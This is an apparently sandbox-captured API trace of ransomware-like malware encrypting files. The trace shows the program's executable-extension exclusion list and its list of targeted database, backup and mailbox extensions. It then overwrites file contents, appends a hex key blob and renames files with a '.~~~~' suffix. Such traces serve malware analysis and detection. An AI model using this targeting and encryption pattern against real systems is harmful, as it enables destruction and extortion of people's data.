	[0085.225] lstrlenW (lpString=".scr") returned 4
	[0085.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0085.225] lstrlenW (lpString=".cmd") returned 4
	[0085.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0085.225] lstrlenW (lpString=".dll") returned 4
	[0085.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0085.225] lstrlenW (lpString=".bat") returned 4
	[0085.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0085.225] lstrlenW (lpString=".cpl") returned 4
	[0085.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0085.225] lstrlenW (lpString=".sys") returned 4
	[0085.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0085.225] lstrlenW (lpString=".msc") returned 4
	[0085.225] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0085.226] lstrlenW (lpString=".com") returned 4
	[0085.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0085.226] lstrlenW (lpString=".lnk") returned 4
	[0085.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0085.226] lstrlenW (lpString=".msp") returned 4
	[0085.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0085.226] lstrlenW (lpString=".pif") returned 4
	[0085.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0085.226] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0085.226] lstrlenW (lpString=".sqb") returned 4
	[0085.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0085.226] lstrlenW (lpString=".ost") returned 4
	[0085.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0085.226] lstrlenW (lpString=".txt") returned 4
	[0085.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0085.226] lstrlenW (lpString=".mdt") returned 4
	[0085.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0085.226] lstrlenW (lpString=".BDB") returned 4
	[0085.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0085.226] lstrlenW (lpString=".eql") returned 4
	[0085.226] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0085.227] lstrlenW (lpString=".DBF") returned 4
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0085.227] lstrlenW (lpString=".EQL") returned 4
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0085.227] lstrlenW (lpString=".FDB") returned 4
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0085.227] lstrlenW (lpString=".EDB") returned 4
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0085.227] lstrlenW (lpString=".DACPAC") returned 7
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0085.227] lstrlenW (lpString=".VHD") returned 4
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0085.227] lstrlenW (lpString=".DBV") returned 4
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0085.227] lstrlenW (lpString=".dacpac") returned 7
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0085.227] lstrlenW (lpString=".sdf") returned 4
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0085.227] lstrlenW (lpString=".accdb") returned 6
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0085.227] lstrlenW (lpString=".DBX") returned 4
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0085.227] lstrlenW (lpString=".MDT") returned 4
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0085.227] lstrlenW (lpString=".SQB") returned 4
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0085.227] lstrlenW (lpString=".vhd") returned 4
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0085.227] lstrlenW (lpString=".bac") returned 4
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0085.227] lstrlenW (lpString=".mdf") returned 4
	[0085.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0085.227] lstrlenW (lpString=".BAK") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0085.228] lstrlenW (lpString=".BAC") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0085.228] lstrlenW (lpString=".dbs") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0085.228] lstrlenW (lpString=".vhdx") returned 5
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0085.228] lstrlenW (lpString=".NDF") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0085.228] lstrlenW (lpString=".dat") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0085.228] lstrlenW (lpString=".DBS") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0085.228] lstrlenW (lpString=".CKP") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0085.228] lstrlenW (lpString=".edb") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0085.228] lstrlenW (lpString=".PST") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0085.228] lstrlenW (lpString=".dbf") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0085.228] lstrlenW (lpString=".SQL") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0085.228] lstrlenW (lpString=".pst") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0085.228] lstrlenW (lpString=".dbv") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0085.228] lstrlenW (lpString=".SDF") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0085.228] lstrlenW (lpString=".dtxs") returned 5
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0085.228] lstrlenW (lpString=".db3") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0085.228] lstrlenW (lpString=".OST") returned 4
	[0085.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0085.228] lstrlenW (lpString=".dbx") returned 4
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0085.229] lstrlenW (lpString=".DB3") returned 4
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0085.229] lstrlenW (lpString=".DAT") returned 4
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0085.229] lstrlenW (lpString=".VHDX") returned 5
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0085.229] lstrlenW (lpString=".ndf") returned 4
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0085.229] lstrlenW (lpString=".DB") returned 3
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0085.229] lstrlenW (lpString=".sql") returned 4
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0085.229] lstrlenW (lpString=".MYD") returned 4
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0085.229] lstrlenW (lpString=".DBT") returned 4
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0085.229] lstrlenW (lpString=".ACCDB") returned 6
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0085.229] lstrlenW (lpString=".fdb") returned 4
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0085.229] lstrlenW (lpString=".bak") returned 4
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0085.229] lstrlenW (lpString=".myd") returned 4
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0085.229] lstrlenW (lpString=".DTXS") returned 5
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0085.229] lstrlenW (lpString=".ckp") returned 4
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0085.229] lstrlenW (lpString=".dbt") returned 4
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0085.229] lstrlenW (lpString=".db") returned 3
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0085.229] lstrlenW (lpString=".TXT") returned 4
	[0085.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0085.230] lstrlenW (lpString=".MDF") returned 4
	[0085.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0085.230] lstrlenW (lpString=".bdb") returned 4
	[0085.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0085.230] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0085.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.230] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0085.231] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.231] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0085.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0085.231] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20522083084) returned 1
	[0085.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9c9c8f10, dwHighDateTime=0x1d60e1e)) 
	[0085.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0085.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0085.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0085.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cf58
	[0085.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cf58 | out: hHeap=0x300000) returned 1
	[0085.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3938
	[0085.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3938 | out: hHeap=0x300000) returned 1
	[0085.231] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0085.231] GetLastError () returned 0x0
	[0085.232] GetLastError () returned 0x0
	[0085.232] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0085.232] GetLastError () returned 0x0
	[0085.232] GetLastError () returned 0x0
	[0085.303] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffac5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.303] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x53b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x53b, lpOverlapped=0x0) returned 1
	[0085.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.303] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.303] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.303] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.303] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.303] CloseHandle (hObject=0x128) returned 1
	[0085.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fb90
	[0085.395] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.~~~~")) returned 1
	[0085.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fb90 | out: hHeap=0x300000) returned 1
	[0085.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0085.403] GetLastError () returned 0x0
	[0085.403] RtlWakeConditionVariable () returned 0x365f70
	[0085.403] GetCurrentThreadId () returned 0x9cc
	[0085.403] GetCurrentThreadId () returned 0x9cc
	[0085.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808480
	[0085.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3b30 | out: hHeap=0x300000) returned 1
	[0085.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d118 | out: hHeap=0x300000) returned 1
	[0085.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3b30
	[0085.403] lstrlenW (lpString=".scr") returned 4
	[0085.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0085.403] lstrlenW (lpString=".cmd") returned 4
	[0085.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0085.403] lstrlenW (lpString=".dll") returned 4
	[0085.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0085.404] lstrlenW (lpString=".bat") returned 4
	[0085.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0085.404] lstrlenW (lpString=".cpl") returned 4
	[0085.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0085.404] lstrlenW (lpString=".sys") returned 4
	[0085.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0085.404] lstrlenW (lpString=".msc") returned 4
	[0085.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0085.404] lstrlenW (lpString=".com") returned 4
	[0085.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0085.404] lstrlenW (lpString=".lnk") returned 4
	[0085.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0085.404] lstrlenW (lpString=".msp") returned 4
	[0085.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0085.404] lstrlenW (lpString=".pif") returned 4
	[0085.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0085.404] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0085.681] lstrlenW (lpString=".sqb") returned 4
	[0085.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0085.681] lstrlenW (lpString=".ost") returned 4
	[0085.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0085.681] lstrlenW (lpString=".txt") returned 4
	[0085.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0085.681] lstrlenW (lpString=".mdt") returned 4
	[0085.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0085.681] lstrlenW (lpString=".BDB") returned 4
